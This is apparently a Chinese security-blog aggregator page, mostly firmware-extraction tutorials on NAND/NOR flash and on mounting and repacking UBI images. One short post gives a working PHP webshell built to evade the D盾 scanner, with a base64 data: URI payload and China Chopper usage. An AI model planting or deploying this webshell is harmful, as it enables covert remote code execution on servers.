Aggregator
Laravel 的 Facades 实现原理
日志分析系列(外传二):Nginx日志统一化
固件提取系列-UBI文件系统提取以及重打包
固件提取系列 固件载体
固件 (Firmware), 在港澳台称作韧体, 在手机领域又称作字库。它位于非易失性存储(Non-Volatile Memory,NVM)中,可以被读写。在嵌入式领域,最常见的NVM类型是ROM(read-only memory)和Flash Memory, 其中ROM包括Mask ROM、PROM、EPROM、EEPROM;现在主流的ROM就是EEPROM,一般是在MCU内部;而更加主流的外存一般都是Flash Memory。
在嵌入式设备中,除了使用最基本的NAND或者NOR Flash芯片,还可能会使用eMMC;扩展存储会用到SD卡,CF卡,HDD等;这些都是有一个主控再加一个存储区,主控和上位机通信,只要能访问主控,就能读写存储芯片的内容。对于eMMC、SD卡、CF卡、HDD之类的设备,它的主控对外有通用的接口,只要用读卡器或者烧录座就可以读取。但是对于SoC直接管理的存储芯片,并没有对外部的通用接口,但是主控都是驱动控制的,所以只要能访问内存(外围设备的地址)就行了,因此有一些JTAG读固件、IAP读取固件、U-Boot读取固件的技巧,是而且理论上主控坏了,我们还能从存储区读取出固件。
只要是这些设备存放了操作系统,我把这原始的文件都称作固件。在嵌入式安全研究中,固件提取总是最初的工作,也是最重要的工作,决定了研究是否能继续下去。因此我决定整理这几年关于固件提取的知识分享出来。
EEPROM vs NOR vs NAND-Flash由于EEPROM产品比Flash产品在擦写次数上有着更大的优势,再加上更小的尺寸和较低的擦写电流,因此成为车载应用中首选的存储技术。
但是对于性能较高的设备,就要用到Flash。NAND对比NOR,支持XIP,而且读取速度很快,但是写入和擦除速度很慢。NAND 的容量要大很多,速度快,价格也相对便宜,但是可靠性较低。 NAND以块为单位来访问数据,而NOR Flash可以随机访问数据。
要与固件载体通信,修改里面的数据,就要有相应的协议。对于EEPROM,协议主要有I2C, SPI,其中SPI有多种模式。而NAND Flash使用的是Raw NAND协议,现在几乎都遵循ONFI标准。对于NOR Flash一般有SPI协议;SPI的Flash一般遵循JEDEC SFDP(JESD216)标准,而Parallel NOR支持JEDEC CFI(JESD68)标准。
JEDEC:全称是Joint Electron Device Engineering Council 即电子元件工业联合会。JEDEC是由生产厂商们制定的国际性协议,JEDEC用来帮助程序读取Flash的制造商ID和设备ID,以确定Flash的大小和算法。
注意:不一定所有芯片都遵循这些标准。
NOR PackageNOR Flash 有并行和串行两种,串行一般是SOP封装,使用SPI协议。并行只有极少数BGA封装,一般是TSOP封装,TSOP-56, TFBGA-56, LFBGA-64。
NOR Flash Pin AssignmentNOR Flash支持随机访问,因此擦除单位是Byte。这里指的是并行信号引脚,NOR的信号线和SRAM基本上是一样的。如果飞线会特别麻烦。
Symbol Pin Name Functions A[MAX:0] Address 读写操作发送的地址数据 DQ[7:0] Data Inputs/Outputs 用于输入输出命令和数据。 DQ[14:8] Data Inputs/Outputs 用于输入输出命令和数据。 DQ15/A-1 Data Inputs/Outputs 数据或地址输入 BYTE# Byte/word organization select 选择8位或者16位 CE# Chip Enable 芯片使能 RE# Read Enable 读使能,数据在RE#脉冲的下降沿生效。 OE# Output Enable 输出使能,当OE#是LOW时,读取周期会输出数据。当OE#是HIGH时,数据输出将处于高阻状态 WE# Write Enable 写使能 WP# Write Protect 提供意外情况的读、擦除保护,当WP#是低电平时,其他操作将无法进行。 RST# Reset RY/BY# Read / Busy Output 如果处于编程、擦除或随机写入操作,R/B#信号将变低,当操作完成时会变回高电平。如果芯片未被选中或输出被禁用时,该信号是漏极开路并处于高阻状态,需要采用上拉电阻。 Vcc Power 3.3V或1.8V常电 Vss Ground 接地 NC No Connection 无连接TSOP-56
NAND FlashNAND Flash属于非易失性存储器,对于嵌入式设备,一般使用SLC,单位是1-bit,是一种浮栅结构,可以捕获电子并且外部绝缘,断电之后可以保留数据。Flash都不支持覆盖,即写入操作只能在空或已擦除的单元内进行。
擦除方法是在源极加正电压利用第一级浮空栅与漏极之间的隧道效应,将注入到浮空栅的负电荷吸引到源极。由于利用源极加正电压擦除,因此各单元的源极联在一起,这样,擦除不能按字节擦除,而是全片或者分块擦除。
NAND PackageONFI标准定义了一些常用的NAND封装,NAND Flash一般是TSOP和BGA的封装,都使用SMT的贴装方式。下图是不同封装的引脚定义。
TSOP-48
BGA-63
NAND Flash Pin AssignmentNAND Flash并行输入输出,一般是8位I/O,也就是x8。图中具有上划线的引脚(在这里使用"#“号表示),是低电平有效,该引脚默认应该是上拉的状态。
Symbol Pin Name Functions I/O x Data Inputs/Outputs 用于输入输出命令、地址和数据。如果芯片未被选中或输出被禁用时,I/O口将处于高阻状态。 CLE Command Latch Enable 指令锁存使能,当CLE为高时,在WE#脉冲的上升沿,指令被锁存到NAND指令寄存器中 ALE Address Latch Enable 地址锁存使能,当ALE为高时,在WE#脉冲的上升沿,地址被锁存到NAND地址寄存器中。 CE# Chip Enable 芯片使能,如果没有检测到CE信号,那么,NAND器件就保持待机模式,不对任何控制信号作出响应。 RE# Read Enable 读使能,数据在RE#脉冲的下降沿生效。 WE# Write Enable 写使能,WE#负责将数据、地址或指令写入NAND之中。这些操作将在WE#脉冲上升沿生效。 WP# Write Protect 提供意外情况的读、擦除保护,当WP#是低电平时,其他操作将无法进行。 R/B# Read / Busy Output 如果NAND处于编程、擦除或随机写入操作,R/B#信号将变低,当操作完成时会变回高电平。如果芯片未被选中或输出被禁用时,该信号是漏极开路并处于高阻状态,需要采用上拉电阻。 Vcc Power 3.3V或1.8V常电 Vss Ground 接地 NC No Connection 无连接 Array OrganizationESMT厂商的某款8位NAND的阵列组织如下,一页有2048存储+64Cache字节,一个块含有64个页,该NAND Flash有1024个块,加上Cache就是1056M-bit。也就是128MB容量+4MB的缓存。
固件读取的工具这里说的是非扩展存储。固件提取按照读取方式,分为下列几种:脱机读取(Chip-Off),在线读取,内部备份。
内部备份,指拿到了设备权限,从块设备备份数据,或者从I2C、SPI驱动接口读取数据。
在线读取,指在设备上外接工具、使用设备主芯片特有的调试接口,或者是存储芯片的通用接口读取数据。一般准备USB线束,或者使用JLink,USBDM之类的调试工具(也有很多冷门芯片需要特殊调试工具),属于IAP方式提取固件。
脱机读取,把目标存储芯片拆下,使用烧录座和编程器读取。该方式读取成本较高,而且编程器和与芯片相配的主控不一定兼容,因此还要手动修复固件。
在了解了芯片的标准和通信协议后,对于一些冷门的存储芯片,其实可以不依赖编程器。使用STM32、AVR或者树莓派都能完成固件提取工作。
嵌入式设备的应用NOR Flash和普通的内存比较像的一点是他们都可以支持随机访问,这使它也具有支持片内执行(XIP, eXecute In Place)的特性,可以像普通ROM一样执行程序。这点让它成为BIOS等开机就要执行的代码的绝佳载体。
与NOR Flash不同的是,NAND不支持XIP,因此不能存放最开始的Bootloader。
最早的手机等设备之中既有NOR Flash也有NAND Flash。NOR Flash很小,因为支持XIP,所以负责初始化系统并提供NAND Flash的驱动,类似Bootloader。而NAND Flash则存储数据和OS镜像。三星最早提出NOR less的概念,在它的CPU on die ROM中固化了NAND Flash的驱动,会把NAND flash的开始一小段拷贝到内存低端作为bootloader,这样昂贵的NOR Flash就被节省下来了,降低了手机主板成本和复杂度。渐渐NOR Flash在手机中慢慢消失了。
NAND Flash相对NOR Flash更可能发生比特翻转,就必须采用错误探测/错误更正(EDC/ECC)算法,同时NAND Flash随着使用会渐渐产生坏块;通常需要有一个特殊的软件层,实现坏块管理、擦写均衡、ECC、垃圾回收等的功能,这一个软件层称为 FTL(Flash Translation Layer)。根据 FTL 所在的位置的不同,可以把 Flash Memory 分为 Raw Flash 和 Managed Flash 两类:
最早大家都是使用Raw Flash,FTL全由驱动程序实现。后来发展到SD和eMMC等,则由硬主控实现。
因此要读取原始NAND,还要考虑坏块管理,擦写平衡,ECC等功能。
其中ECC是最难的地方,因为从编程器读取NAND很大可能会出现错误,需要纠错。大部分NAND Flash使用了硬件ECC,算法由硬件决定,对于SLC颗粒,一般使用hanming,BCH之类的算法,这些实现在网上都没有标准的源码,因此需要特殊途径搞到ECC算法。
根据存储芯片应用特性,可以推断出它的用途是存放Bootloader,是系统,还是临时数据。根据芯片支持的规范,可以读取其中的内容。 后续会分享一系列进阶的固件提取知识。
ReferenceNAND vs. NOR Flash Memory Technology Overview
Understanding Flash: Blocks, Pages and Program / Erases
UEFI Blog 杂谈闪存二:NOR和NAND Flash
固件提取系列 UBI文件系统提取以及重打包
去年写的,不小心把github仓库弄成私有,Readme没了,重新传了个Readme,觉得有点不好意思。先把这篇文章放出来吧
UBI(Unsorted Block Images)全称未分类块镜像。由IBM公司设计,是一个基于Raw Flash设备的卷管理系统,可以在单个物理设备上管理多个逻辑卷,并且支持耗损均衡(wear-leveling)。广泛应用于嵌入式设备。
提到Raw Flash,就要解释一下什么是MTD(Memory Technology Device)。MTD是用于访问Memory设备(尤其是Flash设备)的一个Linux子系统,作为硬件和文件系统之间的抽象层。以NAND Flash为例,MTD对NAND flash封装,为上层文件系统驱动提供抽象接口。MTD设备由擦除块(Eraseblocks)组成,MTD驱动提供了读写和擦除三种操作,但是在修改每个块之前都要先擦除。
UBI结构UBI有点像LVM(Logical Volume Management),LVM提供逻辑扇区到物理扇区的映射,而UBI提供逻辑擦除块(LEB)到物理擦除块(PEB)的映射。从上述可知,UBI是以块为单位操作的。
在每个UBI块(非坏块)的头部,有两个长度为64字节的头信息。
- EC header(erase counter header),包含了每个PEB的信息(VID的偏移,数据的偏移)。
- VID Header(volume identifier header),包含了卷ID和LEB对应PEB的编号。
在Linux源码/linux/drivers/mtd/ubi目录,ubi-media.h内,有EC header和VID header的定义。
struct ubi_ec_hdr { __be32 magic; // UBI# __u8 version; // 01 __u8 padding1[3]; __be64 ec; /* Warning: the current limit is 31-bit anyway! */ __be32 vid_hdr_offset; // VID Header 的偏移 __be32 data_offset; // 数据的偏移 __be32 image_seq; // 物理块序号 __u8 padding2[32]; __be32 hdr_crc; // CRC32 } __packed; /* * UBI volume type constants. * * @UBI_DYNAMIC_VOLUME: dynamic volume * @UBI_STATIC_VOLUME: static volume */ enum { UBI_DYNAMIC_VOLUME = 3, UBI_STATIC_VOLUME = 4, }; struct ubi_vid_hdr { __be32 magic; // UBI! __u8 version; // 1 __u8 vol_type; // 一般是UBI_DYNAMIC_VOLUME __u8 copy_flag; // 是否从另一个物理块拷贝过来的(wear-leveling) __u8 compat; // 卷兼容性 __be32 vol_id; // 卷ID __be32 lnum; // LEB编号 __u8 padding1[4]; __be32 data_size; // 数据大小 __be32 used_ebs; // 用户LEB数量 __be32 data_pad; __be32 data_crc; __u8 padding2[4]; __be64 sqnum; // 序号 __u8 padding3[12]; __be32 hdr_crc; // CRC32 } __packed;ID为UBI_INTERNAL_VOL_START的卷,专门用来存放分卷表的记录。
#define UBI_INTERNAL_VOL_START (0x7FFFFFFF - 4096)其中包含卷名
struct ubi_vtbl_record { __be32 reserved_pebs; __be32 alignment; __be32 data_pad; __u8 vol_type; __u8 upd_marker; __be16 name_len; // 卷名长度 __u8 name[UBI_VOL_NAME_MAX+1]; // 卷名 __u8 flags; __u8 padding[23]; __be32 crc; // CRC32 } __packed;一个MTD设备前面的部分一般用于存放Bootloader,后面用于UBI。下图只是一个简单的举例,实际情况可能是多个UBI和其他分区间接排列。UBI使用fastmap将LEB到映射到乱序的PEB,为UBIFS提供抽象接口。
挂载UBIFSMTD为提供了直接操作UBI的工具:MTD-Utils
http://git.infradead.org/mtd-utils.git
- ubinfo - provides information about UBI devices and volumes found in the system;
- ubiattach - attaches MTD devices (which describe raw flash) to UBI and creates corresponding UBI devices;
- ubidetach - detaches MTD devices from UBI devices (the opposite to what ubiattach does);
- ubimkvol - creates UBI volumes on UBI devices;
- ubirmvol - removes UBI volumes from UBI devices;
- ubiblock - manages block interfaces for UBI volumes. See here for more information;
- ubiupdatevol - updates UBI volumes; this tool uses the UBI volume update feature which leaves the volume in “corrupted” state if the update was interrupted; additionally, this tool may be used to wipe out UBI volumes;
- ubicrc32 - calculates CRC-32 checksum of a file with the same initial seed as UBI would use;
- ubinize - generates UBI images;
- ubiformat - formats empty flash, erases flash and preserves erase counters, flashes UBI images to MTD devices;
- mtdinfo - reports information about MTD devices found in the system.
上面的工具只能操作UBI,而一般电脑上没有MTD设备。当从嵌入式设备提取了原始的Flash固件,想要在电脑上读取,可以使用来模拟一个MTD设备。一般情况下,会使用到NANDSim。
- mtdram which simulates NOR flash in RAM;
- nandsim which simulates NAND flash in RAM;
- block2mtd which simulates NOR flash on top of a block device;
首先看NANDSim的参数,一大堆参数该如何配置呢?
$ modinfo nandsim filename: /lib/modules/4.18.10-arch1-1-ARCH/kernel/drivers/mtd/nand/raw/nandsim.ko.xz description: The NAND flash simulator author: Artem B. Bityuckiy license: GPL srcversion: D2FD00330F9BE30A9B28365 depends: mtd,nand retpoline: Y intree: Y name: nandsim vermagic: 4.18.10-arch1-1-ARCH SMP preempt mod_unload modversions sig_id: PKCS#7 signer: sig_key: sig_hashalgo: md4 signature: parm: id_bytes:The ID bytes returned by NAND Flash 'read ID' command (array of byte) parm: first_id_byte:The first byte returned by NAND Flash 'read ID' command (manufacturer ID) (obsolete) (byte) parm: second_id_byte:The second byte returned by NAND Flash 'read ID' command (chip ID) (obsolete) (byte) parm: third_id_byte:The third byte returned by NAND Flash 'read ID' command (obsolete) (byte) parm: fourth_id_byte:The fourth byte returned by NAND Flash 'read ID' command (obsolete) (byte) parm: access_delay:Initial page access delay (microseconds) (uint) parm: programm_delay:Page programm delay (microseconds (uint) parm: erase_delay:Sector erase delay (milliseconds) (uint) parm: output_cycle:Word output (from flash) time (nanoseconds) (uint) parm: input_cycle:Word input (to flash) time (nanoseconds) (uint) parm: bus_width:Chip's bus width (8- or 16-bit) (uint) parm: do_delays:Simulate NAND delays using busy-waits if not zero (uint) parm: log:Perform logging if not zero (uint) parm: dbg:Output debug information if not zero (uint) parm: parts:Partition sizes (in erase blocks) separated by commas (array of ulong) parm: badblocks:Erase blocks that are initially marked bad, separated by commas (charp) parm: weakblocks:Weak erase blocks [: remaining erase cycles (defaults to 3)] separated by commas e.g. 113:2 means eb 113 can be erased only twice before failing (charp) parm: weakpages:Weak pages [: maximum writes (defaults to 3)] separated by commas e.g. 1401:2 means page 1401 can be written only twice before failing (charp) parm: bitflips:Maximum number of random bit flips per page (zero by default) (uint) parm: gravepages:Pages that lose data [: maximum reads (defaults to 3)] separated by commas e.g. 1401:2 means page 1401 can be read only twice before failing (charp) parm: overridesize:Specifies the NAND Flash size overriding the ID bytes. The size is specified in erase blocks and as the exponent of a power of two e.g. 5 means a size of 32 erase blocks (uint) parm: cache_file:File to use to cache nand pages instead of memory (charp) parm: bbt:0 OOB, 1 BBT with marker in OOB, 2 BBT with marker in data area (uint) parm: bch:Enable BCH ecc and set how many bits should be correctable in 512-byte blocks (uint)可以去阅读内核驱动源码来了解NANDSim的实现,这里简单说明一下。首先由nandsim.c 调用nand_base.c中的nand_scan_ident,在nand_detect中会进行Read ID操作,nand_readid_op对NAND发送0x90,0x00。随后在nand_get_manufacturer,匹配厂商ID,最后在nand_scan_tail中初始化NAND芯片,设置各项属性。
NANDFlash的芯片手册会表明ID的具体参数
所以我们需要将ID设定正确,驱动会根据ID自动设置容量,页大小等数据。在NANDSim的参数只需要前四项。
static u_char id_bytes[8] = { [0] = CONFIG_NANDSIM_FIRST_ID_BYTE, [1] = CONFIG_NANDSIM_SECOND_ID_BYTE, [2] = CONFIG_NANDSIM_THIRD_ID_BYTE, [3] = CONFIG_NANDSIM_FOURTH_ID_BYTE, [4 ... 7] = 0xFF, };如果需要调整模拟NAND的参数,可以根据芯片手册上的数据表来选择。
一般情况下,嵌入式设备的bootloader等其他分区都会和系统分区放在同一个芯片内。因此需要对NANDSim分区,该芯片的eraseblocks以128KB为单位,也就是0x20000。
写一个脚本来寻找UBI的分布
#!/usr/bin/env python3 import sys import binascii import struct if len(sys.argv) < 1: print("Usage: find_ubi_header.py NAND.bin") sys.exit(1) raw_file_path = sys.argv[1] ubi_header = b'UBI#' out_of_ubi = True try: with open(raw_file_path, 'rb') as raw_file: rawbin = raw_file.read() for x in range(0, len(rawbin), 0x20000): magic = rawbin[x:x+4] if magic == ubi_header: if out_of_ubi: out_of_ubi = False print("\nUBI offset start:", hex(x)) else: if not out_of_ubi: print("UBI offset stop:", hex(x), "\n") out_of_ubi = True raw_file.close() except Exception as e: print(e) $ python find_ubi_header.py NAND.bin UBI offset start: 0x2e60000 UBI offset stop: 0x6900000 UBI offset start: 0x7700000 UBI offset stop: 0x81c0000 UBI offset start: 0x8200000 UBI offset stop: 0x20000000512MB = 4096 * 128 KB,该芯片有4K个块。
PN SA EA EC xxx 0x00000000 0x02E60000 371 ubi1 0x02E60000 0x06900000 469 foo 0x06900000 0x069C0000 6 recovery 0x069C0000 0x07700000 106 ubi2 0x07700000 0x081C0000 86 sec 0x081C0000 0x08200000 2 ubi3 0x08200000 0x20000000 3056加载MTD模块和NANDSim模块
sudo modprobe mtd sudo modprobe mtdblock sudo modprobe nandsim first_id_byte=0x2c second_id_byte=0xac third_id_byte=0x90 fourth_id_byte=0x15 parts=371,469,6,106,86,2,3056查看MTD设备的信息,可以看到分区已经创建成功。
$ mtdinfo -a Count of MTD devices: 8 Present MTD devices: mtd0, mtd1, mtd2, mtd3, mtd4, mtd5, mtd6, mtd7 Sysfs interface supported: yes mtd0 Name: NAND 512MiB 1,8V 8-bit Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 4096 (536870912 bytes, 512.0 MiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:0 Bad blocks are allowed: true Device is writable: true mtd1 Name: NAND simulator partition 0 Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 371 (48627712 bytes, 46.4 MiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:2 Bad blocks are allowed: true Device is writable: true mtd2 Name: NAND simulator partition 1 Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 469 (61472768 bytes, 58.6 MiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:4 Bad blocks are allowed: true Device is writable: true mtd3 Name: NAND simulator partition 2 Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 6 (786432 bytes, 768.0 KiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:6 Bad blocks are allowed: true Device is writable: true mtd4 Name: NAND simulator partition 3 Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 106 (13893632 bytes, 13.2 MiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:8 Bad blocks are allowed: true Device is writable: true mtd5 Name: NAND simulator partition 4 Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 86 (11272192 bytes, 10.8 MiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:10 Bad blocks are allowed: true Device is writable: true mtd6 Name: NAND simulator partition 5 Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 2 (262144 bytes, 256.0 KiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:12 Bad blocks are allowed: true Device is writable: true mtd7 Name: NAND simulator partition 6 Type: nand Eraseblock size: 131072 bytes, 128.0 KiB Amount of eraseblocks: 3056 (400556032 bytes, 382.0 MiB) Minimum input/output unit size: 2048 bytes Sub-page size: 512 bytes OOB size: 64 bytes Character device major/minor: 90:14 Bad blocks are allowed: true Device is writable: true通过dmesg可以看到加载的具体信息,包括芯片信息和分区信息。
$ dmesg [13202.334289] nand: device found, Manufacturer ID: 0x2c, Chip ID: 0xac [13202.334290] nand: Micron NAND 512MiB 1,8V 8-bit [13202.334291] nand: 512 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64 [13202.334299] flash size: 512 MiB [13202.334299] page size: 2048 bytes [13202.334300] OOB area size: 64 bytes [13202.334300] sector size: 128 KiB [13202.334301] pages number: 262144 [13202.334301] pages per sector: 64 [13202.334302] bus width: 8 [13202.334302] bits in sector size: 17 [13202.334302] bits in page size: 11 [13202.334303] bits in OOB size: 6 [13202.334304] flash size with OOB: 540672 KiB [13202.334304] page address bytes: 5 [13202.334304] sector address bytes: 3 [13202.334305] options: 0x8 [13202.334779] Scanning device for bad blocks [13202.358806] Creating 7 MTD partitions on "NAND 512MiB 1,8V 8-bit": [13202.358810] 0x000000000000-0x000002e60000 : "NAND simulator partition 0" [13202.360129] 0x000002e60000-0x000006900000 : "NAND simulator partition 1" [13202.360835] 0x000006900000-0x0000069c0000 : "NAND simulator partition 2" [13202.361180] 0x0000069c0000-0x000007700000 : "NAND simulator partition 3" [13202.363506] 0x000007700000-0x0000081c0000 : "NAND simulator partition 4" [13202.365146] 0x0000081c0000-0x000008200000 : "NAND simulator partition 5" [13202.366440] 0x000008200000-0x000020000000 : "NAND simulator partition 6"也可以通过下面的命令查看MTD分区表
$ sudo cat /proc/mtd dev: size erasesize name mtd0: 20000000 00020000 "NAND 512MiB 1,8V 8-bit" mtd1: 02e60000 00020000 "NAND simulator partition 0" mtd2: 03aa0000 00020000 "NAND simulator partition 1" mtd3: 000c0000 00020000 "NAND simulator partition 2" mtd4: 00d40000 00020000 "NAND simulator partition 3" mtd5: 00ac0000 00020000 "NAND simulator partition 4" mtd6: 00040000 00020000 "NAND simulator partition 5" mtd7: 17e00000 00020000 "NAND simulator partition 6"MTD0是整个MTD设备,将提取出的固件写入MTD设备,因为是在内存中模拟,所以速度很快。
sudo dd if=NAND.bin of=/dev/mtd0 bs=512M count=1查看ubi模块信息,会发现有mtd参数,实际上使用此参数会出错,因为默认的VID Header长度为512。
sudo modprobe ubi mtd=0 $ dmesg [38418.429799] ubi0: attaching mtd5 [38418.429924] ubi0 error: validate_ec_hdr [ubi]: bad VID header offset 2048, expected 512 [38418.429937] ubi0 error: validate_ec_hdr [ubi]: bad EC header [38418.429944] Erase counter header dump: [38418.429946] magic 0x55424923 [38418.429948] version 1 [38418.429950] ec 5 [38418.429952] vid_hdr_offset 2048 [38418.429953] data_offset 4096 [38418.429955] image_seq 34870392 [38418.429957] hdr_crc 0x11db9c17因此需要先挂载UBI模块,然后使用MTD-Utils的UBI Attach指定相关参数。
sudo modprobe ubi sudo ubiattach /dev/ubi_ctrl -m 2 -O 2048接下来可以看到挂载成功的信息
[43880.484837] ubi0: default fastmap pool size: 20 [43880.484841] ubi0: default fastmap WL pool size: 10 [43880.484843] ubi0: attaching mtd2 [43880.486802] ubi0: attached by fastmap [43880.486806] ubi0: fastmap pool size: 20 [43880.486808] ubi0: fastmap WL pool size: 10 [43880.491518] ubi0: attached mtd2 (name "NAND simulator partition 1", size 58 MiB) [43880.491521] ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes [43880.491523] ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 512 [43880.491525] ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096 [43880.491527] ubi0: good PEBs: 469, bad PEBs: 0, corrupted PEBs: 0 [43880.491529] ubi0: user volume: 1, internal volumes: 1, max. volumes count: 128 [43880.491532] ubi0: max/mean erase counter: 14/5, WL threshold: 4096, image sequence number: 1328192 [43880.491534] ubi0: available PEBs: 0, total reserved PEBs: 469, PEBs reserved for bad PEB handling: 80 [43880.491617] ubi0: background thread "ubi_bgt0d" started, PID 25777随后指定文件系统UBIFS进行挂载,可以成功读取到文件系统里的内容。
$ mkdir /tmp/modem $ sudo mount -t ubifs ubi0_0 /tmp/modem $ ls /tmp/image bdwlan30.bin mba.b03 mba.mdt modem.b03 modem.b08 modem.b12 modem.b16 modem.b22 otp30.bin mba.b00 mba.b04 modem.b00 modem.b05 modem.b09 modem.b13 modem.b19 modem.b23 qwlan30.bin mba.b01 mba.b05 modem.b01 modem.b06 modem.b10 modem.b14 modem.b20 modem.b24 utf30.bin mba.b02 mba.mbn modem.b02 modem.b07 modem.b11 modem.b15 modem.b21 modem.mdt有时候在UBI之上会使用SquashFS,因此常规的挂载方法会失效
[ 214.800087] UBIFS error (ubi0:0 pid 3848): ubifs_read_node [ubifs]: bad node type (1 but expected 6) [ 214.800093] UBIFS error (ubi0:0 pid 3848): ubifs_read_node [ubifs]: bad node at LEB 0:0, LEB mapping status 1 [ 214.800094] Not a node, first 24 bytes: [ 214.800095] 00000000: 68 73 71 73 46 0c 00 00 5a 9c 25 5d 00 00 02 00 ac 00 00 00 01 00 11 00 hsqsF这里的hsqs是SquashFS的Magic,因此只需要将UBI用squashfs挂载即可
sudo dd if=/dev/ubi0_0 of=./ubi0_0 unsquashfs ./ubi0_0卸载操作如下
sudo umount MOUNTED_DIR sudo ubidetach /dev/ubi_ctrl -m 0 sudo modprobe -r ubi sudo modprobe -r nandsim 使用UBI Reader进行读取下载或使用PIP安装,https://github.com/jrspruitt/ubi_reader
sudo pip install ubi_reader先看是否准确识别UBI信息
ubireader_display_info [options] path/to/file完全提取文件,但是遇到其他文件系统就会失败。
ubireader_extract_files [options] path/to/file所以建议先还原PEB到LEB,然后再对其各个卷进行分析。
ubireader_extract_images [options] path/to/file UBI重打包挂载UBIFS之后,有可能需要修改文件重打包,使用dd命令不可行。
首先记住ubiattach命令后的回显,会打印出LEB信息
$ sudo ubiattach /dev/ubi_ctrl -m 7 -O 2048 UBI device number 0, total 240 LEBs (30474240 bytes, 29.1 MiB), available 0 LEBs (0 bytes), LEB size 126976 bytes (124.0 KiB)总共240个LEB,每个LEB占用12696字节,在mkfs里把ubifs的参数填入,打包成UBIFS。
# mtd5 sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -F -r ./UBI_1 rootfs.img # mtd9 sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -F -r ./UBI_2 rootfs.img sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -R 1 -x lzo -r ./UBI_1 rootfs.img sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -x lzo -r ./rootfs rootfs.img新建ubi_config.ini文件
vi ubi_config.inivol_size一定要和image的尺寸对应,最后一行为空,否则报错 ubinize: error!: cannot load the input ini file “ubi_config.ini”
[rootfs] mode=ubi image=rootfs.img vol_id=0 vol_size=9904128 vol_type=dynamic vol_name=rootfs vol_alignment=1 vol_flags=autoresize最后用ubinize生成UBI文件
sudo ubinize -o rootfs.ubi -p 131072 -m 2048 -s 512 -e 2 -Q 0 -O 2048 -x1 ubi_config.ini-e 是擦除块的数量,默认是0,可以用binwalk快速查看 -Q 是映像的顺序号,可用ubi_display_info查看 -x 是UBI的版本,默认是1 -s 是子页大小,不是所有的NAND都有子页,一般来说SLC颗粒的2048字节的NAND页是由4个512字节的子页组成,MLC没有子页 -m 是页大小 -p 是物理块大小,一个物理块一般有64页,参考NAND Flash手册
下面是给mtd7烧写rootfs.ubi
sudo ubinize -v -o rootfs.ubi -p 131072 -m 2048 -s 512 -O 2048 ubi_config.ini sudo ubiformat /dev/mtd7 -O 2048 -s 512 -f rootfs.ubi如果是SquashFS的文件系统,那么不需要构建ubifs,在修改完系统内容后,直接用mksquashfs打包SquashFS,一定要用相应的权限打包,如果目标系统是root,那么就在root下打包。后续操作就是用ubinize打包成UBI。
sudo mksquashfs ./squashfs-root/* rootfs.squashfs Reference最新绕过D盾的php Webshell
去年分析D盾的查杀规律弄的绕过。
查杀效果:
具体请看代码:
<?php function cc(){ global $b; $a =$_GET[$b]; //此处可改成POST方式 $str =$a; return $str; } ?> <?php $b="url"; $c=cc(); $aa = $c; include($aa);传入参数方式:
http://127.0.0.1/test/include.php?url=本地或远程文件名(或者利用data:image/png的这种格式)
例如:
http://127.0.0.1/test/include.php?url=data:image/png;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
上看base64,后面为要执行的代码,代码要带<?php,然后将代码进行base64编码传入。这里的例子是<?php phpinfo(); ?>,实战中可以把代码改成一句话,然后使用菜刀连接即可。
Python2与Python3差异之print
时代在发展,技术在进步。没有什么是停止不前的!2019年已经接近尾声,Python2停止更新的时间越来越近。其中比较流行的如 NumPy、Requests 和 TensorFlow 等承诺到 2020 年将停止支持2.x。尽管迁移过程也会花许多时间与精力,但是转Python3是早晚都要面对的。最近在迁移自己的代码到Python3,对于迁移的过程中遇到的情况进行总结。
首先我们来说一下常用的print。
最明显的区别就在于,我们在2.x版本中的print "hello world" ,在3.x版本中会报错。必须要以print("hello world")这样的格式。为什么会发生这样的变化呢?下面就让我们来看一下~
Gafgyt Targeting Huawei and Asus Routers and Killing Off Rival IoT Botnets
论高级攻防团队建设方法论之思想的重要性(上)
前言:
本质可能发生转变,它可以由质变到量变,体系可以被打破,随时间的推移,它可以被推倒重塑,唯有思想将永垂不朽。
问题的背后是本质,本质的串联是体系,体系的整合是思想。
文章将会围绕“三个是什么?”来展开,分别是
1:问题的背后是什么?(上)
2:本质的背后是什么?
3:问题的背后是什么?
引言:创业公司的老板或者整体团队负责人都有一个特点,
如果这个人是销售出身:注重与人打交道
如果这个人是技术出身:注重与事打交道
像销售一样去思考,像技术一样去行动。
————Micropoor
一:问题的背后是什么?
1:团队技术模型与招聘管理
